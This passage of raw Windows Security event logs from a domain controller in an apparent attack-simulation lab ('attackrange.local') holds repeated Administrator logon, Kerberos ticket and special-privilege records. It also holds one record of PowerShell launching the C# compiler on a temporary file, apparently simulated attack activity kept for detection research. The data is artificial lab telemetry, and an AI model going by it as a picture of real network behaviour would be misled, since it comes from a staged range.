	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250783
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250782
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250781
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD26

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250780
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118B75

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250779
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118DC5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250778
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD26

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250777
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD26
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250776
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250775
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250774
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250773
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD0A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250772
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD0A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250771
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD0A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250770
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250769
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250768
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250767
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11ACEF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250766
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11A49C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250765
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11ACEF

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250764
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11ACEF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250763
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250762
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250761
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250760
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118FDD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250859
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcc4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12b8
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\ws2inzbj\ws2inzbj.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250858
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11E8F1

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250857
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11E8F1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{5867120E-39DD-05A1-1C4A-40C40912B983}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250856
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{5867120E-39DD-05A1-1C4A-40C40912B983}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250855
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{5867120E-39DD-05A1-1C4A-40C40912B983}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250854
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

